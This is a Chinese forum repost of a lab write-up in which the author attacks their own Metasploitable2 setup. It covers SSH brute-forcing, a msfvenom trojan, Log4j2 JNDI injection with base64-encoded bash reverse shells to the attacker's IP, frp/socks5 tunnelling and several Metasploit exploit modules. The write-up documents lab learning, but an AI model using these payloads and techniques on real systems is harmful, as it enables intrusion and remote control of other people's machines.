安全矩阵

 找回密码
 立即注册
搜索
查看: 670|回复: 0

模拟对内网的Metasploitable2渗透

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-5-6 19:39:32 | 显示全部楼层 |阅读模式
Web安全工具库 2023-05-06 08:00 发表于河南
须知

[color=rgba(0, 0, 0, 0.9)]写这个文章之前,想着熟悉隧道搭建、cs、msf等软件的利用和实战测试下,但是等等原因(主要是自己懂得太少了)导致这个文章写的零散,没有一样具体化了,就当作熟悉下这个流程吧。

环境搭建
  • 因为想模拟实战,所以弄了个vps主机(在腾讯云白嫖的,正好测试下)

  • 主机kali:模仿cs客户端攻击方,ip:192.168.0.156

  • ubuntu:ip1:192.168.0.193,ip2:10.1.1.1/24(内网ip)

  • 内网主机Metasploitable2(名字太长故以下叫靶机):模仿没有联网的内网服务器,ip:10.1.1.2/24

  • kali:192.168.0.156

  • vps:cs服务端,frp服务端,ip就不详细列出了:43.142.*.*

  • vps开放的端口





介绍下这整个流程:
  • 通过一定的渗透获取服务器shell(指的是实际公网web的服务器,在这个测试指的是ubuntu主机)

  • 获取了ubuntu的shell,与我的vps搭建建立隧道

  • 把msf加入隧道,实现对内网的渗透


测试各pc连通性

1.新增一个主机ubuntu的网络适配器,适配器1的连接模式为桥接,适配器2的模式为自定义,选择vmnet3(注意待会Metasploitable2的适配器的连接模式要与这个一样),然后设置适配器2ip:10.1.1.1


2.Metasplotable2的连接模式为自定义连接,选择vmnet3,然后ip设置为10.1.1.2



3.kali的ip也是桥接模式。最后vps、kali、ubuntu ip1能互相通信的,而ubuntu的ip2能于靶机互相通信,并且vps和kali无法与靶机通信即代表环境搭配成功。


cs软件运行起来vps 服务端 配置并运行




kali 客户端连接服务端,并开启端口8082监听中了木马客户端连接请求




这个客户端ip是192.168.0.193的写错了。

获取ubuntu的shell基于端口爆破获取ubuntu shell1.使用msscan快速扫描开放的端口。存在端口22、80开放,经过查看了49153端口,发现和80端口内容一样,就不管这个端口了,使用nmap 详细扫描下端口的信息和常见漏洞



2.得知22端口是ssh服务,就可以使用端口爆破密码(这里为了简单和时间,就直接设置用户名为root、密码为弱密码)



使用Hydra爆破ssh用户密码

知道用户名root、密码123456。kali登录ssh
基于cs 生成木马诱导ubuntu执行获取shell
1.使用msfvernom生成木马,会话传递给cs监听


生成一个木马,只要这个木马运行,就会主动与192.168.0.156 8000端口通信

2.接下来要做的事情就是把这个文件挂到服务器上,然后利用ssh下载这个文件,当然也可以直接上传文件到ubuntu,因为已经知道了用户密码了。



客户端上传这个木马文件到服务器上


这个就是url就是木马的下载链接


3.kali使用用户密码上传



4.登录ssh后使用curl下载




5.kali设置一个8000端口监听,用于监听执行木马客户端的连接请求。



6.接下来登录ubuntu ssh 运行木马文件




7.已经成功监听到了。接下来把这个连接会话给cs



但是我想找linux的payload_inject 模块结果找不到(有知道的可以告诉下),这个模块的作用是将指定会话session id注入到新到CobaltStrike会话中,然后cs就可以监听这个会话了。在这个生成木马的时候,我还试过反向连接的ip和端口为cs的监听端口也是不行,那就只能通过cs生成的木马让ubumtu执行了。


8.搜索才知道。监听linux需要下载genCrossC2,算了就不尝试了。

9.因为使用msf制作的木马,也已经监听到了,这里就先到这里了。

基于apache log4j2 漏洞获取shell(原先想找个log4j2漏洞在我ubuntu上搭建,然后通过这个漏洞获取shell,但是手动搭建好麻烦,就没弄了,便用docker拉取的镜像模拟测试下)1.因为之前端口扫描的时候,存在一个80端口开放,并且这是个web,而且这是我搭建的存在apache log4j2的漏洞

2.抓包测试判断是否存在log4j2漏洞








3.测试存在log4j2漏洞,接下来构造反弹shell的payload(利用别人已经构造的ext)。


a.JNDI注入工具的语句格式:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “攻击机的ip”(注意这个命令要经过base64编码)

b.这里我构造的命令:bash -i >& /dev/tcp/192.168.0.156/8000 0>&1(这个Bash 命令的意思是将当前的 Bash shell 变成一个反向 shell,它会将命令行输入发送到远程主机上的 TCP 端口,然后将远程主机上的输出发送回本地的 Bash shell,所以这里我设置了kali来8000端口来监听)

c.将此命令使用base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==

4.最后的命令为(这里其实有点不懂,为啥先base编码,然后又解码,是因为逃逸啥吗?):“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}”(查阅资料的意思是:它的作用是将一个经过 Base64 编码的命令字符串解码并在目标主机上执行。具体来说,这个命令使用 -c选项来指定要执行的命令,该命令是一个由多个管道符号 |连接的命令序列。第一个命令是 echo,它将 Base64 编码的命令字符串输出到标准输出。第二个命令是 base64,它将标准输入中的 Base64 编码解码为原始命令字符串。第三个命令是 bash,它将解码后的命令字符串作为输入,并在目标主机上执行该命令。最终的效果是在目标主机上执行了一个由 Base64 编码的命令字符串,该命令字符串的内容是 bash -i >& /dev/tcp/192.168.0.156/8000 0>&1,它将当前的 Bash shell 与远程主机上的一个 TCP 端口建立连接,并将输入和输出重定向到该连接,从而创建一个反向 shell)

5.最后完整的JNDI注入工具语句为:java - jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156

6.kali再使用瑞士军刀nc开启8000端口监听



7.kali运行java此语句


8.会生成两个协议的执行命令,这两个协议在log4j2中都有执行权限

rmi://192.168.0.156:1099/syojwi

ldap://192.168.0.156:1389/syojwi

9.最终payloa(任选其一即可):

${jndi:rmi://192.168.0.156:1099/syojwi}

${jndi:ldap://192.168.0.156:1389/syojwi}

10.使用url编码赋值个payload字段即可(这里我选第一个)


11.结果kali没有接收到连接。。。,查阅资料是1099,1389,8180这三个端口确保可用,那么先用netstat -antupl查看下端口的开放情况。



直接杀死这个JNDI注入工具进程,然后重新运行。


ok,端口都是运行的了,bp重新发个包。



8180和1389端口是监听状态的,但没有看1099端口,看下JNDI注入工具的运行状态。


12.但是结果一放包,还是接收不到反弹shell的连接,查看下JNDI注入工具。



原因是找不到syojwi文件。

接着我更换了kali java版本为jdk8(更换方法),然后使用ldap协议,且JNDI注入工具的java包路径为绝对路径。经过测试,JNDI注入工具正常了,但是无法接收到shell的连接。

13.嗯,只能再次尝试了,这次换个端口为4848(!此时的心情!)










a.构造bash反弹shell的命令:bash -i >& /dev/tcp/192.168.0.193/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==》完整的JNDI工具注入语句:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.193

b.构造payload2=》${jndi:rmi://192.168.0.193:1099/a7x5hi}=》ubuntu(192.168.0.193)开启4848端口监听=》将payload2进行payload进行url编码后给payload字段传参

c.已经成功的连接到了docker容器的shell。

d.构造payload1 bash反弹shell=》bash -i >& /dev/tcp/192.168.0.156/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzQ4NDggMD4mMQ===》完整的JNDI工具注入语句:java -jar /home/apachelog4j2/Apache-Log4j-Learning-main/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156

e.运行构造payload2:${jndi:ldap://192.168.0.156:1389/uzzvbb}

f.kali开启4848端口监听

g.将payload2进行url编码给get请求中的payload赋值,放包

h.很遗憾还是没有连接到shell。

i.最后才反应过来,这个log4j2漏洞网页的漏洞是我在ubuntu的docker部署的,因为网段不一样是无法访问我kali主机的。

j.只能放弃了,那么现在就把shell反弹给ubuntu吧。

获取了ubuntu的shell,接下来我们就需要开始内网穿透了,扫描其内网的存活设备,并获得其shell
因为已经获取了shell,使用ifconfig命令就可以知道ip信息。


1.可以看到存在两个网卡,一个网卡的网段是192.168.0.0/24  另一个网段是10.1.1.0/24。扫描网段10.1.1.0/24这个网段的信息,来实现内网横向移动。


2.首先我们要借用ubuntu扫描内网,因此需要与ubuntu建立隧道。(frp下载链接)

3.vps配置服务端frp(vim /frps.in)和开启(./frps -c ./frps.ini)



4.ubuntu客户端配置frp(vim /frpc.ini)和运行(./frpc -c ./frpc.ini)



server_addr = 43.142.*.*    #用于服务端的(vps)ip
server_port = 7000      #服务端(vps)监听的端口
[ssh]                   #
type = tcp #ssh连接的通信协议为tcp
local_ip = 127.0.0.1#ssh连接的ip
local_port = 22 #ssh连接的端口
remote_port = 8082#用于转发ssh端口的服务器(vps)端口,就是说只要访问 vps 8082端口就是在访问frp客户端的22端口。
[socks5]
type=tcp #socks5通信的协议
remote_port=8888#socks5的端口
plugin=socks5#指定了使用socks5插件

5.然后把这个配置好的客户端发送给ubuntu并启动。这里就使用用msf。


启用msf,并监听之前上传木马的端口8000并且运行木马文件.

运行frp客户端。


6.到这里呢。vps与ubuntu隧道已经建立完毕。现在使用proxychains+nmap扫描内网。





为了简单,这里我已经知道10.1.1.2的主机就是我们的靶机。就直接对这个主机进行渗透。


a.系统信息:proxychins nmap -O 10.1.1.2

b.端口开放情况(好像只能使用tcp全连接扫描,如果用其他(半开扫描、ACK扫描、UDP扫描等等)都会扫描不到端口。因为socks代理不支持ICMP、ARP等网络层的协议,但是有点不理解为啥半开扫描也不行):proxychins nmap -p- 10.1.1.2 2>&1 |grep  'OK'

c.接下来都使用msf来进行渗透,首先把msf添加到代理中。

d.setg Prompt socks5:43.142.*.*:8888(vps服务器ip和socks5端口,用setgproxies socks:socks5:43.142.*.*8888这个命令进行msf代理,前面的那个prompt是个提示符)                setg ReverseAllowProxy true(允许反向连接,提高链接的稳定性)

e.proxychains配置

f.使用proxychains+nmap扫描内网存活主机

g.对10.1.1.2ip的信息收集



到这里呢,我已经把msf连接到了内网(通过socks5代理),接下来根据端口号进行渗透。
1.ftp(21)



auxiliary/scanner/ftp/anonymous(探测ftp是否允许匿名登录),没有结果。。但是能看到服务版本是2.3.4.

寻找ftp2.3.4版本的漏洞,然后使用这个漏洞exploit/unix/ftp/proftpd_133c_backdoor(在未经身份验证的情况下获取 root 权限)

到此成功利用ftp漏洞获取了靶机的shell。

2.ssh(22)



探测ssh版本信息(auxiliary/scanner/ssh/ssh_version)

针对版本4.7漏洞,找到了一些,但是尝试,有的需要的东西太繁琐了,有的失败了,这里还是爆破吧(一样这里已知用户msfadmin):auxiliary/scanner/ssh/ssh_login

知道了用户名msfadmin密码msfadmin,当然也可以尝试爆破root,至于提权最后再尝试,知道了ssh的用户名和密码就可以登录shell了。

3.23(talent)
主要就是爆破用户名密码的,就不尝试了。

4.25(smtp),这个协议简单了解了下,没找到具体能渗透啥的。




5.53(DNS)收集信息,或者其他的利用



6.80(http),访问网页后再看,因为这是内网的,所以需要给浏览器设置代理,因为我是用的bp自带的浏览器,所以对bp进行设置就可以了。






就以第一个测试吧

其他的漏洞就不尝试了。

抓取主页的请求包

执行远程代码


allow_url_include=on:允许include和require语句中使用URL路径

auto_prepend_file=php://input:PHP会将HTTP请求体作为一个文件读取,并将其作为自动包含的文件

:执行whoami和ls命令


解释下



了解CVE-2012-2311漏洞,执行远程代码



这里的漏洞,就不去手动测了,直接用awvs扫。这里的8090端口是我给10.1.1.2 80端口进行的端口转发,具体的frp客户端的配置


7.111(RPC)找了些漏洞,但是我实测只有个ddos攻击CVE-2017-8779,没找到其他的。

8.139(SMB)首先使用辅助模块扫描下smb的版本信息:auxiliary/scanner/smb/smb_version



使用cve-2007-2447

发现这里要设置源主机和端口,直接监听9797端口。但是这里有个问题,我们的反弹shell的ip只能是ubuntu,因为其他的ip,靶机是访问不到的,这里可以直接用ubuntu来监听的,因为已经获取了ubuntu的shell,但是我想要kali来监听,想了下,能否可以用端口转发,把ubuntu的9797端口转发到vps的9797端口,然后监听vps的9797端口!。(末尾有解决办法!!!)

然而想法是美好的,但总是出幺蛾子,直接绑定失败,给我验证的机会都没,经过尝试只有运行msf的kali ip才能绑定上。哪怕我把ip为靶机同一网段的ip也不行,真是怪。(末尾有解决办法!!!)

至于其他漏洞都差不多,绑定失败



那么这个cve就直接利用不了啊,因为你靶机的shell只能反弹给192.168.0.193(ubuntu)和10.1.1.0/24的主机,与其他pc是通信不了的,然后想手动注入,查到了手动注入代码为(执行 whoami 命令):smbclient -U " " -N -L "\\target_ip\share_name" -c "echo \"[global]\" > /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && echo \"[tmp]\" >> /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && smbclient //target_ip/tmp -U \"\" -N -c \"put /bin/sh /tmp/sh && chmod +x /tmp/sh\" && smbclient //target_ip/tmp -U \"\" -N -c \"/tmp/sh -c 'whoami'\"


但是执行失败。



默认扫描的是445端口,算了就这样吧,发现扫描到了samba 3.0.20的版本,那么寻找这个版本的漏洞。

只能用端口爆破密码,这个就不演示了。

9.445端口(smb)就不说了,至于512、513、514这三个端口是rsh系列。在系统之后被错误配置从而允许远程访问者从任何地方访问。首先rexec协议已经被大部分操作系统和网络设备所禁用,其次kali还要安装,就不尝试了。

10.1099(Java RMI 服务的注册表),找到了:exploit/multi/misc/java_rmi_server模块,但是一样用不了

11.1524(metasploit root shell),直接拿netcat连接即可



12.2049(这个与111端口一样都是nsf,是一种分布式文件系统协议),但是这里我连使用:auxiliary/scanner/nfs/nfsmount模块去验证都验证不了,具体的的攻击就不尝试了。

13.2121(Java语言开发的FTP服务器软件),查了下存在目录遍历漏洞,但是遍历的前提是进行用户登录,所以也就只有个端口爆破密码了

14.3306(mysql)可以尝试爆破用户密码。

15.3632(Distcc Daemon默认的监听端口,用于接收来自Distcc客户端的连接请求):使用 exploit/unix/misc/distcc_exec就可以远程执行任意命令。但是一样无法设置反弹shell的监听ip,只能作罢。

16.5432(postgresql),端口爆破。

17.5900(VNC远程桌面协议的默认端口)可以爆破。

18.6000(是一种基于客户端/服务器架构的图形化界面系统,也称为X Window系统。它可以让用户通过网络远程访问和控制其他计算机的图形化界面)。好像也只能爆破。。



19.6667、6697 (IRC(Internet Relay Chat)协议的默认端口,用于提供在线聊天服务):exploit/unix/irc/unreal_ircd_3281_backdoor,同样无法无法设置反弹shell的监听ip,只能作罢。

20.8009(Apache Tomcat应用服务器的默认AJP(Apache JServ Protocol)连接端口) :exploit/multi/http/tomcat_mgr_deploy,测试失败

21.8180,msf的端口和nmap都没扫出来是什么服务。

22.8787(Java Debug Wire Protocol(JDWP)的默认端口,用于Java应用程序的远程调试和监控):exploit/multi/misc/java_jdwp_debugger,发现需要反向连接,监听的ip又绑定不了。。

到此呢,这个内网渗透算结束了,总结下吧。
1.这整个做下来发现msf好多的反弹shell都不能使用,还是对msf不够了解(其实尝试许多方法,也查了下资料说msf使用socks5有bug,但是呢发现frp使用socks4报错[socks4] start error: plugin [socks4] is not registered,可能是不支持还是啥的)。

2.懂得东西的太少了,以至于每接收到一个陌生的词汇、知识点,就要去了解,还好有个chatgpt(简直就是全能的咨询师)。

这个是我后补充的(反弹shell失败的解决办法):
之前那些反向shell,不是接收不到吗,经过尝试得知原因是因为setg proxies socks:socks5:43.142.*.*:8888这个代理可能存在问题,直接使用proxychins启动msf就可以解决这个问题(proxychins msfdb run).还有上面的那个把监听到的shell不是反弹给ubuntu了吗,我说我想把这个监听的端口进行转发,然后kali去监听这个端口(nc -lvp ),这个好像是不行的。所以只能把这个Lhosts设为10.1.1.1,因为其他的ip,靶机它访问不到,所以说我之前设置为192.168.0.193是错误的,当然可以在靶机上设置个静态路由(sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.193)具体操作:


proxychins启动msf

使用:exploit/multi/samba/usermap_script模块,并配置需要的配置。

ubuntu监听10.1.1.1 9797端口,并且msf run

这里如果实在想把这个shell反弹给vps,可以尝试下把ubuntu和靶机建立隧道,这样靶机的流量就可以从ubuntu端出去,从而可以访问vps、访问外网。

本文作者:Moonoon, 转载请注明来自FreeBuf.COM























本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:46 , Processed in 0.017315 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表